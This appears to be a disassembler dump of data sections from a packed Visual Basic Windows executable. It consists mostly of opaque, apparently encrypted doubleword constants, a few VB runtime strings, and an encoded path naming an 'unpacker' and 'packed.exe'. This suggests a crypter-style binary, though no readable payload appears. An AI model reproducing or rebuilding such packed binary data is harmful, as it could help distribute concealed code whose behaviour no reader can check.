dd 0DDA1E835h, 3E56E299h, 1D3CD8A3h, 927E5D9Ah, 571967FAh
dd 37149FFFh, 3BC38DE4h, 114EAB82h, 0B40h, 6FF24DA8h, 0A7CA1793h
dd 0E087DA5Bh, 3A5DA21Eh, 791863C4h, 0D354E01Fh, 9919E988h
dd 5EDD2544h, 22827C03h, 0B8D0BADDh, 5975225h, 2F5D7A0h
dd 0EDB4B542h, 0C7BC20A5h, 24CE11A9h, 0CA997D33h, 0C3DE99B4h
dd 6043A5ECh, 0A25DF088h, 97ABD4DAh, 0D3529CB4h, 543C0188h
dd 364D9135h, 0C404871Ah, 1649A5ECh, 832B340Ah, 0BBD5BA9Bh
dd 0CEAAF775h, 6B861EB6h, 9A1BC590h, 0C5B740DDh, 9F7C9A1Bh
dd 8EE8DAB9h, 0BE5C631h, 0DB7EC325h, 0F13885E7h, 364E49ADh
dd 2AA94F68h, 7189A784h, 0A3EE338Fh, 8F9BB682h, 0F6A00439h
dd 33B57B15h, 0F5774BEEh, 0C23E80A8h, 4711327Dh, 0F829B6CEh
dd 0F5ECB74Bh, 0A550EDCBh, 0CC14346Ch, 2D45D3A8h, 346CE790h
dd 816F4C14h, 901054E9h, 18FB1A16h, 249B708Dh, 20119808h
dd 0A58h, 47EA35B0h, 9FA2FF7Bh, 0D87FC223h, 12358AE6h
dd 51F04BACh, 0BB3C8807h, 81E1C160h, 46A51D3Ch, 0A6A54FBh
dd 0A0B892B5h, 5966A0Dh, 1AEDCFA0h, 7D2E294Dh, 0AD41C49Ch
dd 0CF315F3Ch, 2E46126Fh, 0D595F093h, 902D45ABh, 0A00567E7h
dd 0EE89244Ch, 33A00567h, 48E57350h, 0A00567AFh, 0A6B29774h
dd 0E48BD858h, 0CA459A1Ah, 97EC4CB2h, 240C51AFh, 8BA5DE06h
dd 0ED7E9976h, 0BBD5B6A5h, 50ED8E23h, 51329A1Dh, 50D1AAC7h
dd 75569A1Dh, 0BB3D839Bh, 1FB2CA66h, 9A1D505Ch, 1F3F46BEh
dd 5C3CD661h, 0DB26877Fh, 80A18F5Ch, 0D4278668h, 6DB232FCh
dd 6644A22h, 79029FB9h, 0BE9A1D87h, 0D51F3DDh, 8B47DA76h
dd 42A0059Eh, 87E9D761h, 33FD173Ah, 0EE8924B2h, 33943570h
dd 0DBA57350h, 0F68D0459h, 94357101h, 0D9AAF966h, 85E3AAF9h
dd 49A556EBh, 0A98A9435h, 4239BDCFh, 60AC9B36h, 3A199A1Dh
dd 8F50D01Eh, 0BB13EC10h, 9ABD829Dh, 307FC424h, 106C0A52h
dd 912C44B3h, 8E4D8FE6h, 0A68B684Bh, 0A694778Ah, 0DAB99435h
dd 0ECA7CF5Fh, 7CB32944h, 6D4E8E47h, 0F370C73Eh, 0E35CDD93h
dd 918h, 72A75F0h, 5FE23FBBh, 98BF0263h, 0D275CA26h, 11308BECh
dd 0FB7CC847h, 0C12181A0h, 86E5DD7Ch, 4AAA143Bh, 60F852F5h
dd 5952ACDh, 5A2D0FA0h, 26328F11h, 0D27C5BD8h, 0E6FC17CBh
dd 2E8C765Bh, 0AB85A6D1h, 97EC4C72h, 69B437F9h, 403B562Eh
dd 0E5A5ED86h, 5D202106h, 6C5104DEh, 45CD442Ch, 378AEBD5h
dd 540DEBF8h, 0A30365B0h, 0ADBEF944h, 1519A9C8h, 0BE89CAC3h
dd 7, 4CC6001h, 9A570000h, 73086CD7h, 98354DE5h, 0A5EDB3DFh
dd 0F4896744h, 0ABCFBE48h, 91C8063h, 73177AC0h, 0FE7D1B43h
dd 1FB2DEA3h, 0D2E1EDF9h, 7E79942Ch, 0A3C71DC0h, 3B18E8C0h
dd 4D46AEFCh, 3B4A8E23h, 0B695CD03h, 8FD4549Ah, 499616E8h
dd 3E9EB5D2h, 3D728755h, 840h, 6FF24DA8h, 0A7CA1793h, 0E087DA5Bh
dd 3A5DA21Eh, 791863C4h, 0D354E01Fh, 9919E988h, 5EDD2544h
dd 22827C03h, 0B8D0BADDh, 5945225h, 2F5D7A0h, 0E9922F47h
dd 31A5EDB3h, 5C097D6Ah, 12F1D704h, 0E0F87846h, 0ECE6AA4Dh
dd 0CFAC8FA5h, 0A2FD7E40h, 9CF77F9Fh, 0FD7C59F4h, 8665ABD4h
dd 0A73A52EAh
dd 0A004CFD4h, 0D09E7A59h, 926CF350h, 2042CD12h, 86718CBCh
dd 0ABA004CFh, 354DEBC8h, 0CF77009Dh, 0DFBCA004h, 0E6AF5CF1h
dd 4CE4A5ECh, 1CB84631h, 2008EB9Ah, 0EBD56340h, 0D21C3489h
dd 0BD8E0956h, 0EC4CB2D3h, 0D5561897h, 2C00138Ah, 0ADCC7C5Ah
dd 78BF4h, 0BF027F00h, 77CC2698h, 4C8FEED0h, 0A57D52Dh
dd 0C5189B67h, 0E155CAA2h, 0A21C237Eh, 6658FF44h, 2F93B609h
dd 85D170CDh, 93A750EDh, 0AE8CA005h, 0F97947DDh, 36BECCA4h
dd 559B335Dh, 8FA28ED3h, 0ABD5CB00h, 0BA07635Dh, 36DB77A9h
dd 6D32D727h, 267BFDC3h, 0E03DBF03h, 0FA91D5A9h, 672DC35Eh
dd 16E8A5E7h, 80DD5B99h, 0D8573409h, 0AEF7260Bh, 767C53ABh
dd 7124E03h, 7BF60000h, 45A10120h, 86959F8h, 0D02C92B5h
dd 9112EC73h, 0CE412B4Eh, 83A6F97Ah, 0DF62BF3Fh, 163984E3h
dd 54FB48A8h, 2CCF62FEh, 0F1A00593h, 18475813h, 39301EF1h
dd 422B34B8h, 840C0175h, 55D79977h, 3FA18108h, 7F2BB7E2h
dd 0A5EC31B1h, 0EC91DF80h, 8BA6AA10h, 510B4ADh, 913B5EA3h
dd 58CD12Fh, 0E6264820h, 8F89CAFBh, 7, 2D46050h, 11570000h
dd 0ADC7328Fh, 0B49CE143h, 1B354E96h, 25D66B83h, 0AA5EDB4h
dd 0B32CCF62h, 12F1A5EDh, 41CE634Dh, 1EABD5CBh, 987DC220h
dd 5AA709F9h, 4D9013DFh, 2F64882Ah, 0B1FEEC01h, 3E1DA5EDh
dd 0C4FAC12h, 42A20C24h, 4645AFDh, 0D32F91BFh, 116BA28Eh
dd 41D040CEh, 9A76738Bh, 600853D4h, 368EEBFFh, 3F19233Ch
dd 4B40A4C6h, 1F62C32Dh, 4DE5B390h, 0FF4D1830h, 0B10DF39Fh
dd 2800256Ch, 5207B58h, 0AB823BF9h, 612114Eh, 7BF60000h
dd 45A10120h, 86959F8h, 0D02C92B5h, 9112EC73h, 0CE412B4Eh
dd 83A6F97Ah, 0DF62BF3Fh, 163984E3h, 54FB48A8h, 2CCF62FEh
dd 0F1A00592h, 8F115813h, 5ED82632h, 0DBB59601h, 0C71C9CA2h
dd 9BE647A9h, 0FC7A44BDh, 0E64668A7h, 0CD041E99h, 0C8A1E137h
dd 3F7FE134h, 0FF997EC3h, 0B331CA67h, 15F6A5EDh, 98942A3Bh
dd 589CB11h, 0BBA750EDh, 0AF8CA5EDh, 8F0A57D7h, 786D2BEh
dd 49000000h, 15360h, 8F115700h, 31D6DB32h, 3767089h, 57F4Eh
dd 0B30E6B00h, 8BD852ACh, 409B1AE4h, 1E63C121h, 0D924877Bh
dd 15A1DEB6h, 0D6284F92h, 9A640B58h, 43BFC21Dh, 91FD9CE1h
dd 919364F9h, 0BA98A005h, 328F11C1h, 2479FBC7h, 701465EDh
dd 35C65BF3h, 85A5EDB3h, 0B72679DFh, 0DDBE824Dh, 56AB0DF3h
dd 7D7F8F33h, 1C2089CAh, 0B7000000h, 0E9922F47h, 4EA5EDB3h
dd 0C914956Dh, 0DC937D4Eh, 0D4h, 0CE6013h, 47570000h, 5F4C5218h
dd 3018153Dh, 0A7B1CA12h, 0F845A10Fh, 9B7A5867h, 7D5B1304h
dd 0D4F32BE0h, 0CC4B28ABh, 335D36BEh, 0E6D3669Eh, 0EF4E91A5h
dd 0DAA7B615h, 2506E6B2h, 5451CBF6h, 6F20497Ch, 4C8h, 0D77AC520h
dd 2F328FEBh, 680F52D3h, 0A2C51A96h, 0E180DB5Ch, 4BAC1897h
dd 119151F0h, 0D655ADCCh, 9A1AE48Bh, 30482245h, 590DA9Dh
dd 8A7D5FA0h, 0ABF67947h, 5C37BFCDh, 1370CA34h, 25902D45h
dd 0C6ABD000h, 676813AEh, 0EECDA00Bh, 460E1F75h, 0C3ADFBD0h
dd 0D06800E3h, 0F15225B8h, 88D7A00Ah, 2356DF4Bh, 3F19FE66h
dd 83ADF071h, 8062BF3Dh, 53F2DE21h, 0ABF383Ch, 267BFDA0h
dd 0E33EBF03h, 0B60B6B55h, 3DEEA3DAh, 0C5000004h, 0C652294Dh
dd 47A816AEh, 0B39E59F4h, 0B9FCA5EDh, 696CE856h, 324FE7C9h
dd 0A5ECE349h, 40280DEEh, 0D4FB5E2Dh, 9118FBABh, 612698Dh
dd 0E6DC99EBh, 52D2ACA5h, 0D0FD280Dh, 587C5429h, 3FA60D1h
dd 93EE0000h, 5DD92948h, 20816100h, 0E844BADDh, 0A90AF49Bh
dd 26593356h, 0ABCE1192h, 0E78AD757h, 3E419C1Bh, 7C0360C0h
dd 14E77A16h, 19A00591h, 294D403Bh, 0E8ABC652h, 7DABD5CBh
dd 0AB0CF29Eh, 2C04D950h, 0F54AAA14h, 0C419955Bh, 0DE7784Dh
dd 0BC5954D6h, 0C53D4C24h, 8C721E63h, 2845D330h, 0A005B14Fh
dd 0E019F7D4h, 17215A82h, 0EDC8A8FAh, 54FCDFA5h, 0D9B70C6Ah
dd 60A62941h, 0C25E2100h, 47A99761h, 96B57FAh, 0D4529CB4h
dd 43CE1192h, 2C129D62h, 80A88DD2h, 1DAB8A6Dh, 0E4CCAF9Ah
dd 0B595D9ADh, 1DAB5F18h, 360DA9Ah, 0F2D1B794h, 92EE032Dh
dd 0AD9FFFC6h, 53785FCEh, 0ADCC823Bh, 337F4h, 0B56D300h
dd 0C3209A64h, 98E342BCh, 56AB09F9h, 116CCF33h, 5DE9260Eh
dd 1EE087DAh, 0C23C43A0h, 8B771A65h, 0D9B5D429h, 8F4B2C41h
dd 0F2D0A005h, 0FA794739h, 15CDFA7h, 0D1E74937h, 0EDB3BBBCh
dd 145F1FA5h, 908AAD42h, 2E71CEB0h, 18FDC2E3h, 0F24FD191h
dd 0ECA7CF6Fh, 0A5FA7A44h, 21EB3CBh, 7DABCF61h, 0D679139Eh
dd 0E4A97508h, 5CF1DF5Ah, 0A00B1397h, 6CD732Eh, 83E87106h
dd 3AAFh, 18473000h, 0C8600741h, 0F98B65F3h, 0DF721E75h
dd 0ABCF021Dh, 0BB086648h, 0A1816F7Ch, 3B3857C2h, 42A00AD1h
dd 0AAE27117h, 7783E833h, 0DDB942DFh, 9D7EA00Ah, 0E1A7B3h
dd 11280000h, 0FBC7328Fh, 0C4EA2578h, 8F711F64h, 85A6D12Ch
dd 0EC4C72ABh, 0B837F997h, 53652A65h, 438092CAh, 7110F8DDh
dd 0ED2FE7E2h, 116ECEA5h, 1B79E60Eh, 9ED24ADDh, 7DFFC1AFh
dd 9525D66Bh, 290AA5EDh, 63C22C44h, 0AFF93018h, 0BED3E541h
dd 0A5ED94BDh, 75BC8162h, 94F5861Bh, 593AA5EDh, 668E9C74h
dd 5EB032Dh, 8DD54A9h, 0B23B0D20h, 0BD9EABCFh, 0E3F4789Ah
dd 8E637020h, 44ECB1E7h, 0F031AB29h, 3B5536A5h, 82F72F5h
dd 0B3EA35B6h, 7C501AA6h, 0E5CE83F6h, 5000001h, 0CC3255A8h
dd 0B40A2D72h, 7B47EA35h, 2181A0FDh, 74DC63BEh, 0D12C8F3Bh
dd 0ADF2704Eh, 64B7348Ah, 267BFDC5h, 821F2B03h, 0A0058DF9h
dd 116B5C3Eh, 0DB25338Eh, 45364B5Dh, 0EAA5EDB3h, 0D8ED2409h
dd 0F9151F0h, 4D5AAFB2h, 0AEC65229h, 0B49CDF40h, 0CFCBDF99h
dd 4C50AABh, 35BD83C4h, 0FBD8A880h, 2712E1BCh, 0FCB5A00Bh
dd 88818D48h, 0C42283E8h, 0B5000000h, 0C7328F11h, 0EA2578FBh
dd 6DCB2C92h, 1EFCC11h, 0EDB8596Ch, 0A7FC7CA5h, 74C92789h
dd 2140283Dh, 9E1F5FC1h, 59337E43h, 0AECBACC1h, 7350A5EDh
dd 245F87A5h, 0FF44A20Ch, 0EE318EB0h, 0D3BD82A3h, 0CC2626BBh
dd 0CAA9ABCFh, 0A4DF07A7h, 1ED9748Ch, 3A00B91h, 9D304820h
dd 0A5F040D8h, 0E8D66241h, 0FB153487h, 0E02DCE63h, 11F29A26h
dd 0ABF67947h, 50047170h, 57ABF7Ch, 0F4h, 23469914h, 7B1E63DFh
dd 0B4DB2687h, 8E91EE4Ah, 0CD6CAF30h, 17982C63h, 0DD5DA5C4h
dd 0A201E180h, 66C6385Fh, 41C7619h, 58D0EE9h, 463113A0h
dd 0CF4F8E11h, 0D0DD237h, 9B65F3D0h, 7556C11Ch, 0B4348A9Bh
dd 11FFC86Fh, 0D826328Fh, 0EB5B0457h, 7CBBEFFh, 0F9930AE6h
dd 0D32CD256h, 27F1C72Eh, 0EE8AD759h, 725EA100h, 502BB3D3h
dd 277CF638h, 57993149h, 3AB688D5h, 0BF99AAE5h, 0D597F9A2h
dd 129D7EABh, 0E437B47Ah, 7DC2220Ch, 3F84E4DAh, 0A4809DF0h
dd 0F742C28Fh, 5662C251h, 7B2B403Bh, 2106E57Dh, 0E340A01Eh
dd 9A2E8AB4h, 7B2B7407h, 0F5DAB97Dh, 0D369E0BAh, 0F583E040h
dd 2B37C05Dh, 62837D7Bh, 9908A107h, 9A76553Bh, 68B5378Bh
dd 1E7021h, 47470000h, 0B3E9922Fh, 6D4EA5EDh, 3AA5B583h
dd 0C3551814h, 5FF29E06h, 0A5ECBE9Ch, 0E1D6A281h, 0CE499411h
dd 0F42380E0h, 0E7126DCAh, 8B065BDBh, 0BEF944A7h, 0A5EC2FB0h
dd 57C21F9Dh, 78B70A6Bh
dd 68A7FC76h, 1A1D685Ch, 14890000h, 0DAC6824h, 14890000h
dd 0E0895024h, 405h, 4E88300h, 5C240487h, 68243C89h, 5E818C3h
dd 8324148Bh, 8B5404C4h, 0C483243Ch, 4EC8104h, 89000000h
dd 478F2414h, 2434FF08h, 4C4835Fh, 5124148Bh, 0C181E189h
dd 4, 8704C183h, 0E95C240Ch, 0FFFB2550h, 0EC3E708h, 281EB85Eh
dd 0C50305E8h, 5BC6E0FFh, 1CA7D3Fh, 6D3A7E9Bh, 19BE5CB9h
dd 8BB0FD9h, 8A006DC1h, 8EB77DF1h, 22DC0874h, 0B3FE2119h
dd 2F5C477Fh, 884543AEh, 0E8003BF2h, 0E8D17EADh, 0E7EB69F0h
dd 7A6001BFh, 0C39A30A2h, 0C007565Eh, 947A295Ah, 0C7A07104h
dd 233A6A5Eh, 7BDC093Ah, 1E534113h, 3466426Eh, 872C4505h
dd 0DEE333DEh, 8C8E1445h, 0CFEC2780h, 80FD355Dh, 28387529h
dd 0CD2C7508h, 0F0CD11B8h, 5CE90502h, 0C5000001h, 4377E705h
dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh
dd 657865h, 3Ah dup(0)
db 0
db 2 dup(0), 33h
aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
db 25h
dd 0E924E782h, 1C2Eh, 0E82C5F68h, 559DE905h, 9368FFFAh
dd 0E905E82Dh, 0FFFA5593h, 0E82EA368h, 5589E905h, 6068FFFAh
dd 0E905E82Fh, 0FFFA557Fh, 0E82FB968h, 5575E905h, 9368FFFAh
dd 0E905E830h, 0FFFA556Bh, 0E830EE68h, 5561E905h, 3D68FFFAh
dd 0E905E831h, 0FFFA5557h, 0E837AB68h, 554DE905h, 4668FFFAh
dd 0E905E838h, 0FFFA5543h, 0E8390B68h, 5539E905h, 2C68FFFAh
dd 0E905E83Ah, 0FFFA552Fh, 0E83A8168h, 5525E905h, 4068FFFAh
dd 0E905E83Bh, 0FFFA551Bh, 0E83BFE68h, 5511E905h, 9768FFFAh
dd 0E905E83Ch, 0FFFA5507h, 0E8433B68h, 54FDE905h, 5F68FFFAh
dd 0E905E844h, 0FFFA54F3h, 0E844FD68h, 54E9E905h, 9345FFFAh
dd 3EB68B17h, 0EDED5C7Ah, 914425A1h, 41BA8F0Bh, 39D85773h
dd 0AD297764h, 0B971DDCh, 0D2F8C436h, 0A62C6A6Fh, 71E247BEh
dd 0A0F9F092h, 2FAE39FDh, 18B9C98Ah, 9A2318FCh, 16422D7h
dd 0EC9319DEh, 18632FADh, 5B1C0AD3h, 0CA6F1236h, 1FAD8ECh
dd 0E03CAB3Ch, 2358B8C3h, 30370C9Ah, 0EFF280A7h, 2384EC1Bh
dd 4E023F18h, 0D711F9FAh, 675A8DFh, 35DA3FE7h, 0EC000000h
dd 0D0577B18h, 0FAD1C777h, 0DA211E01h, 0E570CE5Bh, 16E275CBh
dd 0B8D76CB5h, 0F4E5F9FAh, 0ECEC57B6h, 8F2945A0h, 0B93F41B7h
dd 14875ACDh, 0E8243FE6h, 1E000000h, 0D823696Eh, 0CF5E6499h
dd 36555384h, 0DD4C4A8Fh, 0B97CFD5Ah, 8B4EFC18h, 99221905h
dd 74EB7C8Dh, 1BE38B13h, 51DA2384h, 2BFC18BAh, 3679E8AEh
dd 3EECFDC3h, 0AEAF088Bh, 67FC18B5h, 47B0BF08h, 40CD3A41h
dd 0C25CFD6Ch, 6D01FAE6h, 0A8501316h, 14C7C3E4h, 83245B0Fh
dd 41F51E4h, 7C3F2219h, 1495317Fh, 8A2FA155h, 0F7DE49C9h
dd 97F62318h, 21DA8526h, 0CE5D6199h, 272B508Dh, 30FE7DBFh
dd 196B0A55h, 0C7310000h, 7262C7C3h, 21D9A836h, 0C530719Dh
dd 7566DBC7h, 6D14A32Fh, 0F9E5AB50h, 47435188h, 2EB4F8E2h
dd 0F2189E5Bh, 2516B3F2h, 0FCF9F095h, 2FAE75B1h, 18B9C98Ah
dd 9A2318FCh, 729826D7h, 6AEB4CCFh, 60FC18B9h, 5E153177h
dd 9715C28Dh, 0B3880790h, 9974A6A7h, 64275A40h, 3F82F75h
dd 185E2CBDh, 1D995D7Bh, 11104D8Eh, 0FAD186C8h, 7FE25901h
dd 0A11A5BFCh, 7CCBF9FAh, 0CA67C06Bh, 0D9F9FAA1h, 0AD60A79Fh
dd 23FE62Bh, 0F3h, 571BDC9Fh, 0FAAD41F2h, 6EDB90F9h, 39AE695Dh
dd 12C69965h, 5B9EC143h, 0CCD7455h, 9F0E9B8Eh, 46379C13h
dd 0C140EBFCh, 8A53599Eh, 7D8816C7h, 1816EB14h, 0B2F8E1FCh
dd 0D5611A8Fh, 0EB65586h, 5F98E9BDh, 72672659h, 3F889334h
dd 0AE0B3E12h, 1FAD174h, 8CCD6A9Fh, 45F9FAD4h, 9415B1EEh
dd 456624D5h, 5CC3E76Ch, 7CFD5ADDh, 95F9FAD4h, 96A40DDEh
dd 9041F04h, 0F9A0F32h, 0A9A75415h, 65246B7Ch, 0DDAC2A78h
dd 7EFF5820h, 97F7DF33h, 3384B512h, 0E65DF7DFh, 7D377CA9h
dd 0EFE7D25h, 1837187Bh, 0FBFD0000h, 0A62E13BFh, 5585E4E2h
dd 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh, 35D1DF1Ch, 933F8574h
dd 7A602CAEh, 0CED4D207h, 195AFF06h, 0C8F9F094h, 39AE8145h
dd 29BBA9E8h, 682CA8CBh, 0AAAB0C33h, 7BFC189Fh, 47B4BB0Ch
dd 0EBEC5D79h, 6E3B21ADh, 99D82369h, 0BBBC5A60h, 2A8FB296h
dd 1FAEC24h, 2C7590EFh, 0F9FA8A17h, 97420504h, 679F209h
dd 75FDCED2h, 42B2F581h, 15B62746h, 0E642BC11h, 0CD133Fh
dd 0ADEC0000h, 226E6A2Eh, 0C62592DBh, 0AE763495h, 30A8E8EFh
dd 67DC196Ch, 0F750D704h, 0FC18B946h, 3907A09Fh, 0FAFEA147h
dd 0EEEC57B6h, 0B4E475A2h, 41CBBB96h, 0DD423B8Ch, 0A5D176E9h
dd 0FC01FA5Ch, 3BE64187h, 0FFD551C8h, 6ECB7E52h, 0DB879F70h
dd 6059AC9Bh, 0D958CFE3h, 80595F96h, 0A154EB27h, 323502E1h
dd 582516B3h, 87FC1A5Ch, 3FB8FB26h, 582516B3h, 8DFC1A5Ch
dd 0BC394C4Ah, 0BD8C0A47h, 75317E3Ch, 0C623FFCEh, 1727C0A3h
dd 0BCD0000h, 0B63E038Fh, 6595D4F2h, 9CCBD59h, 0B9220783h
dd 0B150EFEBh, 25A1EFECh, 830F9544h, 6A703CBEh, 3EA4E217h
dd 0E96ACF36h, 38F9F097h, 696EB175h, 62EFD823h, 0F07EDB4Eh
dd 1B01FAECh, 0AEB8A62Ch, 19A2E8EFh, 4094537h, 4447DBFCh
dd 0A411C366h, 9D9604A5h, 78C901FAh, 68ED387Ch, 0DB6ACD33h
dd 6786A3DCh, 9C18DCFAh, 9097CC09h, 0F1AC9B37h, 0A6C5B28Ch
dd 61E0C449h, 13494AD8h, 9396ED93h, 2DAE9110h, 4C95C667h
dd 0FD4C64CAh, 6445B200h, 8BBEFCFDh, 2BD0301Eh, 0EF487329h
dd 64CA396Eh, 4A93C8A7h, 72ECED5Ch, 0D1884183h, 3471AE15h
dd 71729274h, 6AB392F7h, 0E000016h, 63C6CCC8h, 0D6AB3773h
dd 31709E22h, 67DAC0C6h, 15A22876h, 0E6AC516Eh, 4C5289F8h
dd 0B5F9E346h, 199F5829h, 17B0F1FDh, 0F9F09626h, 0AE74B6FFh
dd 187BEBEFh, 0DEB80F00h, 5E9FEE5Bh, 9D15C28Dh, 82CB5260h
dd 0D49D7389h, 4DBA86EDh, 44558A20h, 0E948DD0Ah, 1611h
dd 796521D7h, 0C2C8CC08h, 0AB377B7Fh, 7D991FD6h, 0C5C1CF0Ch
dd 5F6C7AEh, 0AB2E13BFh, 5288F9E5h, 0F8E1404Eh, 0D92814B2h
dd 0F096FF70h, 0AF6F16F9h, 0D823696Eh, 0DDE31659h, 3A2E330Ch
dd 0C948A207h, 0C6BB01FAh, 4A568214h, 3E4DBA33h, 865A40BDh
dd 3ABAFD03h, 0ED6ECB7Eh, 24F9FAA8h, 98857E4Fh, 7332B5B4h
dd 58A13A88h, 418D2D2h, 4BCA3E75h, 0A2EE6FC8h, 4827F7DCh
dd 5EC7E1CFh, 0E7C02C3Fh, 5B4139Eh, 260A1793h, 0B1488623h
dd 0B9F8A997h, 0AE2F7E44h, 6BB2891Dh, 4F00A928h, 8652572Ch
dd 3A2710A9h, 58B61316h, 0E8AFB1A6h, 1A632A9h, 482DA950h
dd 0A7DAA81h, 3FBCCFCDh, 1C0378AEh, 0F5109E5Dh, 79386740h
dd 0AD9C3A80h, 0A3016E2Ch, 0E8560F9Fh, 1537B29Dh, 0FBFD0000h
dd 0A62E13BFh, 5585E4E2h, 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh
dd 35D1DF1Ch, 933F8574h, 7A602CAEh, 0CED4D207h, 195AFF06h
dd 0C8F9F089h, 0C7888145h, 23FC18B9h, 0FC18C90Eh, 18D9A5DAh
dd 99FC71FCh, 9CEFC18h, 19484E89h, 84DD8DEh, 8FF056D3h
dd 16730A44h, 14DC4Fh, 52568000h, 8501F5B4h, 0ECB02819h
dd 565483E6h, 0BE04F948h, 0A3FC9B10h, 1B6E743Ah, 7534D2E0h
dd 0AA9F3B87h, 63636F2Dh, 89B4A502h, 206DF9F0h, 5D7B18FAh
dd 0A4DB109Eh, 14B5F1E5h, 0DFFE4CEDh, 5A1101FAh, 628A63DDh
dd 2A751004h, 148Dh, 0E5E1A553h, 4E545084h, 17B3FFFBh
dd 0F9E5A352h, 414D5388h, 89724B2Ah, 2FAA9F3Bh, 0D6046561h
dd 7C7DCCCAh, 55AC903Eh, 0F08843F4h, 2B9392F9h, 0D823696Eh
dd 3DFC059h, 0BFE3F450h, 0F0B6232Eh, 43020395h, 8BB3149Ah
dd 1C9974BBh, 23363A04h, 8000000h, 18B9FB88h, 8A10C9FCh
dd 2E84DB0Ch, 0BDA4FC74h, 0EB5BB6CFh, 0C988BFF4h, 103B8C12h
dd 141831h, 696E7500h, 62EFD823h, 0D958DB4Eh, 0B940F156h
dd 0DA91FC18h, 18B9D081h, 47E001FCh, 0FC18B916h, 0A23B70CFh
dd 0FAD7C159h, 0D8016001h, 4D70F20Eh, 0E825E8BEh, 3F2417B3h
dd 0B0F778C1h, 512EF9FAh, 0A3E265E4h, 0A6177634h, 0B312BC05h
dd 86FD0418h, 7AFCFC67h, 0DCB29CDDh, 0A422B5F7h, 896BD719h
dd 7492CF04h, 0DCE15FD3h, 2D696DF7h, 388100A1h, 0F7DCE137h
dd 94891EEh, 0B5A603CDh, 0B7F7DCE1h, 0AB207B3Fh, 9BD0AFh
dd 85B18801h, 0F9F53292h, 3B7561E0h, 28ADF8BEh, 171AA8F3h
dd 0CE1FA554h, 9242B084h, 4F828816h, 0FE45C911h, 14773BBFh
dd 929906A7h
dd 0AD000001h, 0EC4639AEh, 4946D2D9h, 0B69A8770h, 372C16B3h
dd 54E701FAh, 0E25C2DF3h, 612DAFE2h, 2F64D11Ah, 256195DCh
dd 880CC8B9h, 0D91F147Dh, 244F9FBh, 9410C432h, 41B8FB0Eh
dd 1AA32873h, 19083C21h, 19F746B0h, 6F3B204h, 0D7F06580h
dd 3EA1C4B3h, 96EBF7BDh, 63CC5F65h, 0F7DD86CCh, 55E1D593h
dd 0F2C28C4h, 922BAE48h, 6E6A2EAFh, 2592DB22h, 208908B9h
dd 0F7DDFA2Fh, 313089E6h, 3BBAC1C5h, 16ACFFBBh, 6292E0D4h
dd 1FF2B826h, 8E45C956h, 0EC4D0BCFh, 0F7DDF66Bh, 3790CDBAh
dd 37CAh, 0EFAEFC00h, 5B06A7EBh, 86891CA2h, 11543E11h
dd 0CF188B93h, 36555B80h, 0FC4A3ABCh, 9415B1FFh, 0B0DED103h
dd 0B13A4147h, 0B755FC98h, 0B0BD1016h, 0BA123A04h, 54000000h
dd 0D0577B18h, 0C6F3851h, 82B3BD30h, 0F262D039h, 0BEF501FAh
dd 0ECB3246Fh, 0CF99A3ABh, 3EB6B902h, 0E9ED5C7Ah, 0FFFBBAADh
dd 0DAE368B3h, 0C0C430B3h, 0D7AF09A5h, 0A32F6B6Bh, 0E67728E5h
dd 71873Fh, 41000000h, 0DCDA1F99h, 0F6D70C49h, 567A1830h
dd 0B91576D3h, 0F74CFC18h, 0BAB6CB94h, 5684FC18h, 44B0334Ah
dd 9ED82540h, 0CE8852A6h, 0CD0948F6h, 1B07F0C9h, 8A733235h
dd 0F9A91304h, 91FAB2AEh, 3F60C948h, 4DFC184Fh, 13C7CB0Ah
dd 1D89528Fh, 98E3A92Ch, 49F8E653h, 0E4DD73D0h, 877346CEh
dd 3E6BE03Bh, 22ADAE0Bh, 0F64FC18h, 753BEh, 8E6B0000h
dd 3Ch, 266A6EB4h, 5C589CC7h, 8703F3B6h, 7A7A3D64h, 676014E2h
dd 7BB0FEFFh, 5912AB20h, 0AF881331h, 0FC189D95h, 0C2704482h
dd 9D75E643h, 0D7ACFC18h, 379D70F6h, 4D323A04h, 3400000Ch
dd 238E7E18h, 755610D9h, 30196CD9h, 85C38188h, 0D7635395h
dd 8F80AC42h, 0BDC4E33h, 0AFE4A27Fh, 4909C3h, 7860000h
dd 320B9144h, 75B36401h, 0CD153DDh, 7BE7D484h, 18CFBB0Ch
dd 1CA0587Eh, 10174C89h, 18B986B7h, 85E05FFCh, 8C87D9BCh
dd 0BC88CEA5h, 77E19875h, 28637E3h, 27B00000h, 0A655DC16h
dd 0C8ACA15Eh, 9999F64Fh, 18AF9B2Ch, 8294527Eh, 23696EB8h
dd 55556F87h, 3D040788h, 895554C5h, 72CFF1FEh, 542469h
dd 181E0000h, 0AE94527Eh, 47A6ECEFh, 0ED4AB516h, 0FC18B951h
dd 9B4236A3h, 72EF95CDh, 8C4C3D69h, 3B70E500h, 0E7EFAEBFh
dd 1E6D31A9h, 0D84760DDh, 0DADE1659h, 6A6E2501h, 0F1709826h
dd 0B968E94Eh, 7962FC18h, 0C7502F2Bh, 8E0C111Fh, 6A50691Fh
dd 548Eh, 7E18B400h, 0B1BA2F52h, 7885F6BBh, 0AEB98D5Eh
dd 18B97509h, 0F31287FCh, 43498E61h, 2C9AB338h, 0B1DAE3B8h
dd 5CC3C90Eh, 18C27AFBh, 67DCABFCh, 0AE94AE5Bh, 0B9C98A2Fh
dd 0E918FC18h, 18B90F40h, 3C69C6FCh, 0B434A4ABh, 0AE2D5A94h
dd 56C077E0h, 70982693h, 123D884Ah, 528B895Bh, 0F6E3464Ch
dd 23629DB0h, 0BFFDFAB6h, 6BB2EF6Ch, 7C3ABFE2h, 541BAC29h
dd 0DA4A19A7h, 9D5AA89Ch, 68A5E115h, 0BA00F938h, 50F978ABh
dd 715AE01Fh, 2516B336h, 0FC715AE0h, 0AF714A87h, 9E24D79Dh
dd 628E120Fh, 0A44937C1h, 0D2297565h, 0DA1E1650h, 32807432h
dd 4081C7C5h, 0FD7EDB97h, 14715A53h, 1053E25Fh, 533549EBh
dd 67DC715Ah, 221254CCh, 236523D4h, 50ABF9E2h, 930ECF70h
dd 4DC2706h, 0B9D26325h, 564BF1D8h, 0AEA83168h, 2D7368D6h
dd 9117C0A1h, 0B85A83C2h, 715A328Ah, 0E03F166Dh, 0B7208E66h
dd 32DD9E3Bh, 3574715Ah, 578CF9C5h, 0AA511011h, 32C8892Eh
